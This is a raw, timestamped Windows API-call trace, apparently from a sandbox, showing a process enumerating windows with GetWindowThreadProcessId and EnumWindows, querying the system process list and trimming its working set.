[0278.431] GetWindowThreadProcessId (in: hWnd=0x10200, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x864
[0278.431] GetWindowThreadProcessId (in: hWnd=0x101fc, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x854
[0278.431] GetWindowThreadProcessId (in: hWnd=0x101f8, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x844
[0278.431] GetWindowThreadProcessId (in: hWnd=0x101f4, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x834
[0278.431] GetWindowThreadProcessId (in: hWnd=0x101f0, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x824
[0278.431] GetWindowThreadProcessId (in: hWnd=0x101ec, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x814
[0278.431] GetWindowThreadProcessId (in: hWnd=0x101e8, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x804
[0278.432] GetWindowThreadProcessId (in: hWnd=0x101e4, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x5a8
[0278.432] GetWindowThreadProcessId (in: hWnd=0x101e0, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x32c
[0278.432] GetWindowThreadProcessId (in: hWnd=0x101dc, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x51c
[0278.432] GetWindowThreadProcessId (in: hWnd=0x101d8, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x634
[0278.432] GetWindowThreadProcessId (in: hWnd=0x101d4, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x5c4
[0278.432] GetWindowThreadProcessId (in: hWnd=0x101d0, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x418
[0278.432] GetWindowThreadProcessId (in: hWnd=0x101cc, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x244
[0278.432] GetWindowThreadProcessId (in: hWnd=0x101c8, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x730
[0278.432] GetWindowThreadProcessId (in: hWnd=0x101c4, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x640
[0278.432] GetWindowThreadProcessId (in: hWnd=0x101c0, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x670
[0278.433] GetWindowThreadProcessId (in: hWnd=0x101bc, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x7d0
[0278.433] GetWindowThreadProcessId (in: hWnd=0x101b8, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x754
[0278.433] GetWindowThreadProcessId (in: hWnd=0x101b4, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x694
[0278.433] GetWindowThreadProcessId (in: hWnd=0x101b0, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x704
[0278.433] GetWindowThreadProcessId (in: hWnd=0x101ac, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0xc0
[0278.433] GetWindowThreadProcessId (in: hWnd=0x101a6, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x5ac
[0278.433] GetWindowThreadProcessId (in: hWnd=0x101a2, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x7f4
[0278.433] GetWindowThreadProcessId (in: hWnd=0x1019e, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x774
[0278.433] GetWindowThreadProcessId (in: hWnd=0x1019a, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x304
[0278.433] GetWindowThreadProcessId (in: hWnd=0x10196, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x544
[0278.434] GetWindowThreadProcessId (in: hWnd=0x10192, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x7c4
[0278.434] GetWindowThreadProcessId (in: hWnd=0x1018e, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x138
[0278.434] GetWindowThreadProcessId (in: hWnd=0x1018a, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x788
[0278.434] GetWindowThreadProcessId (in: hWnd=0x10186, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x7c0
[0278.434] GetWindowThreadProcessId (in: hWnd=0x10182, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x114
[0278.434] GetWindowThreadProcessId (in: hWnd=0x1017e, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x1c0
[0278.434] GetWindowThreadProcessId (in: hWnd=0x1017a, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x23c
[0278.434] GetWindowThreadProcessId (in: hWnd=0x10176, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x560
[0278.434] GetWindowThreadProcessId (in: hWnd=0x10172, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x564
[0278.434] GetWindowThreadProcessId (in: hWnd=0x1016e, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x7a8
[0278.434] GetWindowThreadProcessId (in: hWnd=0x1016a, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x434
[0278.435] GetWindowThreadProcessId (in: hWnd=0x30164, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x71c
[0278.435] GetWindowThreadProcessId (in: hWnd=0x30158, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x4f0
[0278.435] GetWindowThreadProcessId (in: hWnd=0x1014e, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x514
[0278.435] GetWindowThreadProcessId (in: hWnd=0x1014c, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x50c
[0278.435] GetWindowThreadProcessId (in: hWnd=0x20142, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x514
[0278.435] GetWindowThreadProcessId (in: hWnd=0x10136, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x50c
[0278.435] GetWindowThreadProcessId (in: hWnd=0x1012e, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x514
[0278.435] GetWindowThreadProcessId (in: hWnd=0x10124, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x4f0
[0278.435] GetWindowThreadProcessId (in: hWnd=0x200d6, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x4f0
[0278.435] GetWindowThreadProcessId (in: hWnd=0x200a8, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x58c
[0278.436] GetWindowThreadProcessId (in: hWnd=0x1010c, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x578
[0278.436] GetWindowThreadProcessId (in: hWnd=0x10108, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x458
[0278.436] GetWindowThreadProcessId (in: hWnd=0x10102, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x530
[0278.436] GetWindowThreadProcessId (in: hWnd=0x50094, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x4ac
[0278.436] GetWindowThreadProcessId (in: hWnd=0x1008a, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x508
[0278.436] GetWindowThreadProcessId (in: hWnd=0x10088, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x4ac
[0278.436] GetWindowThreadProcessId (in: hWnd=0x10084, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x4f4
[0278.436] GetWindowThreadProcessId (in: hWnd=0x1007c, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x4ac
[0278.436] GetWindowThreadProcessId (in: hWnd=0x1006a, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x4ac
[0278.436] GetWindowThreadProcessId (in: hWnd=0x20020, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x794
[0278.437] GetWindowThreadProcessId (in: hWnd=0x10066, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x4ac
[0278.484] GetWindowThreadProcessId (in: hWnd=0x10052, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x4ac
[0278.487] GetWindowThreadProcessId (in: hWnd=0x1004a, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x458
[0278.489] GetWindowThreadProcessId (in: hWnd=0x20046, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x458
[0278.490] GetWindowThreadProcessId (in: hWnd=0x30044, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x448
[0278.490] GetWindowThreadProcessId (in: hWnd=0x20018, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x778
[0278.490] GetWindowThreadProcessId (in: hWnd=0x100f2, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x458
[0278.490] GetWindowThreadProcessId (in: hWnd=0x3013e, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x538
[0278.490] GetWindowThreadProcessId (in: hWnd=0x10058, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x4ac
[0278.490] GetWindowThreadProcessId (in: hWnd=0x10054, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x4ac
[0278.490] GetWindowThreadProcessId (in: hWnd=0x102d6, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0xf9c
[0278.491] GetWindowThreadProcessId (in: hWnd=0x102cc, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x808
[0278.491] GetWindowThreadProcessId (in: hWnd=0x1026e, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0xa14
[0278.491] GetWindowThreadProcessId (in: hWnd=0x102e4, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0xcc0
[0278.491] GetWindow (hWnd=0x102e4, uCmd=0x4) returned 0x102e2
[0278.491] GetWindowThreadProcessId (in: hWnd=0x150270, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0xe68
[0278.491] GetWindowThreadProcessId (in: hWnd=0x50114, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x2c4
[0278.491] GetWindowThreadProcessId (in: hWnd=0x4011e, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x3d4
[0278.491] GetWindowThreadProcessId (in: hWnd=0x1026a, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0xa04
[0278.491] GetWindowThreadProcessId (in: hWnd=0x10266, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x9f4
[0278.491] GetWindowThreadProcessId (in: hWnd=0x10262, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x9e4
[0278.491] GetWindowThreadProcessId (in: hWnd=0x1025e, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x9d4
[0278.492] GetWindowThreadProcessId (in: hWnd=0x1025a, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x9c4
[0278.492] GetWindowThreadProcessId (in: hWnd=0x10256, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x9b4
[0278.492] GetWindowThreadProcessId (in: hWnd=0x10252, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x9a4
[0278.492] GetWindowThreadProcessId (in: hWnd=0x1024e, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x994
[0278.492] GetWindowThreadProcessId (in: hWnd=0x1024a, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x984
[0278.492] GetWindowThreadProcessId (in: hWnd=0x10246, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x974
[0278.492] GetWindowThreadProcessId (in: hWnd=0x10242, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x964
[0278.492] GetWindowThreadProcessId (in: hWnd=0x1023e, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x954
[0278.492] GetWindowThreadProcessId (in: hWnd=0x1023a, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x944
[0278.492] GetWindowThreadProcessId (in: hWnd=0x10236, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x934
[0278.492] GetWindowThreadProcessId (in: hWnd=0x10232, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x924
[0278.493] GetWindowThreadProcessId (in: hWnd=0x1022e, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x914
[0278.493] GetWindowThreadProcessId (in: hWnd=0x1022a, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x904
[0278.493] GetWindowThreadProcessId (in: hWnd=0x10226, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x8f4
[0278.493] GetWindowThreadProcessId (in: hWnd=0x10222, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x8e4
[0278.493] GetWindowThreadProcessId (in: hWnd=0x1021e, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x8d4
[0278.493] GetWindowThreadProcessId (in: hWnd=0x1021a, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x8c4
[0278.493] GetWindowThreadProcessId (in: hWnd=0x10216, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x8b4
[0278.493] GetWindowThreadProcessId (in: hWnd=0x10212, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x8a4
[0278.493] GetWindowThreadProcessId (in: hWnd=0x1020e, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x894
[0278.493] GetWindowThreadProcessId (in: hWnd=0x1020a, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x884
[0278.494] GetWindowThreadProcessId (in: hWnd=0x10206, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x874
[0278.494] GetWindowThreadProcessId (in: hWnd=0x10202, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x864
[0278.494] GetWindowThreadProcessId (in: hWnd=0x101fe, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x854
[0278.494] GetWindowThreadProcessId (in: hWnd=0x101fa, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x844
[0278.494] GetWindowThreadProcessId (in: hWnd=0x101f6, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x834
[0278.494] GetWindowThreadProcessId (in: hWnd=0x101f2, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x824
[0278.494] GetWindowThreadProcessId (in: hWnd=0x101ee, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x814
[0278.494] GetWindowThreadProcessId (in: hWnd=0x101ea, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x804
[0278.494] GetWindowThreadProcessId (in: hWnd=0x101e6, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x5a8
[0278.494] GetWindowThreadProcessId (in: hWnd=0x101e2, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x32c
[0278.495] GetWindowThreadProcessId (in: hWnd=0x101de, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x51c
[0278.495] GetWindowThreadProcessId (in: hWnd=0x101da, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x634
[0278.495] GetWindowThreadProcessId (in: hWnd=0x101d6, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x5c4
[0278.495] GetWindowThreadProcessId (in: hWnd=0x101d2, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x418
[0278.495] GetWindowThreadProcessId (in: hWnd=0x101ce, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x244
[0278.495] GetWindowThreadProcessId (in: hWnd=0x101ca, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x730
[0278.495] GetWindowThreadProcessId (in: hWnd=0x101c6, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x640
[0278.495] GetWindowThreadProcessId (in: hWnd=0x101c2, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x670
[0278.495] GetWindowThreadProcessId (in: hWnd=0x101be, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x7d0
[0278.495] GetWindowThreadProcessId (in: hWnd=0x101ba, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x754
[0278.495] GetWindowThreadProcessId (in: hWnd=0x101b6, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x694
[0278.496] GetWindowThreadProcessId (in: hWnd=0x101b2, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x704
[0278.496] GetWindowThreadProcessId (in: hWnd=0x101ae, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0xc0
[0278.496] GetWindowThreadProcessId (in: hWnd=0x101a8, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x5ac
[0278.496] GetWindowThreadProcessId (in: hWnd=0x101a4, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x7f4
[0278.496] GetWindowThreadProcessId (in: hWnd=0x101a0, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x774
[0278.496] GetWindowThreadProcessId (in: hWnd=0x1019c, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x304
[0278.496] GetWindowThreadProcessId (in: hWnd=0x10198, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x544
[0278.496] GetWindowThreadProcessId (in: hWnd=0x10194, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x7c4
[0278.496] GetWindowThreadProcessId (in: hWnd=0x10190, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x138
[0278.496] GetWindowThreadProcessId (in: hWnd=0x1018c, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x788
[0278.497] GetWindowThreadProcessId (in: hWnd=0x10188, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x7c0
[0278.497] GetWindowThreadProcessId (in: hWnd=0x10184, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x114
[0278.497] GetWindowThreadProcessId (in: hWnd=0x10180, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x1c0
[0278.497] GetWindowThreadProcessId (in: hWnd=0x1017c, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x23c
[0278.497] GetWindowThreadProcessId (in: hWnd=0x10178, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x560
[0278.497] GetWindowThreadProcessId (in: hWnd=0x10174, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x564
[0278.497] GetWindowThreadProcessId (in: hWnd=0x10170, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x7a8
[0278.497] GetWindowThreadProcessId (in: hWnd=0x1016c, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x434
[0278.497] GetWindowThreadProcessId (in: hWnd=0x10168, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x71c
[0278.497] GetWindowThreadProcessId (in: hWnd=0x10138, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x50c
[0278.498] GetWindowThreadProcessId (in: hWnd=0x10130, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x514
[0278.498] GetWindowThreadProcessId (in: hWnd=0x10126, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x4f0
[0278.498] GetWindowThreadProcessId (in: hWnd=0x10110, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x58c
[0278.498] GetWindowThreadProcessId (in: hWnd=0x1010a, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x458
[0278.498] GetWindowThreadProcessId (in: hWnd=0x10086, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x4f4
[0278.498] GetWindowThreadProcessId (in: hWnd=0x2002a, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x794
[0278.498] GetWindowThreadProcessId (in: hWnd=0x10048, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x458
[0278.498] GetWindowThreadProcessId (in: hWnd=0x2001a, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x778
[0278.499] EmptyWorkingSet (hProcess=0xffffffffffffffff) returned 1
[0278.654] SleepEx (dwMilliseconds=0x190, bAlertable=1) returned 0x0
[0280.276] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x12599978, Length=0x20000, ResultLength=0x1e1fd850 | out: SystemInformation=0x12599978, ResultLength=0x1e1fd850*=0x11b30) returned 0x0
[0280.290] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x12599978, Length=0x20000, ResultLength=0x1e1fd850 | out: SystemInformation=0x12599978, ResultLength=0x1e1fd850*=0x11b30) returned 0x0
[0280.295] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x12599978, Length=0x20000, ResultLength=0x1e1fd850 | out: SystemInformation=0x12599978, ResultLength=0x1e1fd850*=0x11b30) returned 0x0
[0280.298] EnumWindows (lpEnumFunc=0x1b1a2afc, lParam=0x0) returned 1
[0280.298] GetWindowThreadProcessId (in: hWnd=0x3013c, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x538
[0280.298] GetWindowThreadProcessId (in: hWnd=0x10090, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x4ac
[0280.298] GetWindowThreadProcessId (in: hWnd=0x300b2, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x4ac
[0280.299] GetWindowThreadProcessId (in: hWnd=0x300ee, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x4ac
[0280.299] GetWindowThreadProcessId (in: hWnd=0x400c0, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x4ac
[0280.299] GetWindowThreadProcessId (in: hWnd=0x10144, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x514
[0280.299] GetWindowThreadProcessId (in: hWnd=0x10122, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x4ac
[0280.299] GetWindowThreadProcessId (in: hWnd=0x2001e, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x778
[0280.299] GetWindowThreadProcessId (in: hWnd=0x20028, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x778
[0280.299] GetWindowThreadProcessId (in: hWnd=0x10078, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x4ac
[0280.299] GetWindowThreadProcessId (in: hWnd=0x10076, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x4ac
[0280.300] GetWindowThreadProcessId (in: hWnd=0x10062, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x4ac
[0280.300] GetWindowThreadProcessId (in: hWnd=0x10080, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x4ac
[0280.300] GetWindowThreadProcessId (in: hWnd=0x1007e, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x4ac
[0280.300] GetWindowThreadProcessId (in: hWnd=0x1007a, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x4ac
[0280.300] GetWindowThreadProcessId (in: hWnd=0x1005a, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x4ac
[0280.300] GetWindowThreadProcessId (in: hWnd=0x10056, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x4ac
[0280.300] GetWindowThreadProcessId (in: hWnd=0x100fa, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x458
[0280.300] GetWindowThreadProcessId (in: hWnd=0x500a0, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x4ac
[0280.301] GetWindowThreadProcessId (in: hWnd=0x10092, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x4ac
[0280.301] GetWindowThreadProcessId (in: hWnd=0x10320, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0xcc0
[0280.301] GetWindow (hWnd=0x10320, uCmd=0x4) returned 0x0
[0280.301] IsWindowVisible (hWnd=0x10320) returned 0
[0280.301] GetWindowThreadProcessId (in: hWnd=0x1031c, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0xcc0
[0280.301] GetWindow (hWnd=0x1031c, uCmd=0x4) returned 0x0
[0280.301] IsWindowVisible (hWnd=0x1031c) returned 0
[0280.301] GetWindowThreadProcessId (in: hWnd=0x10312, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0xcc0
[0280.301] GetWindow (hWnd=0x10312, uCmd=0x4) returned 0x102e0
[0280.301] GetWindowThreadProcessId (in: hWnd=0x10310, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0xcc0
[0280.301] GetWindow (hWnd=0x10310, uCmd=0x4) returned 0x102e0
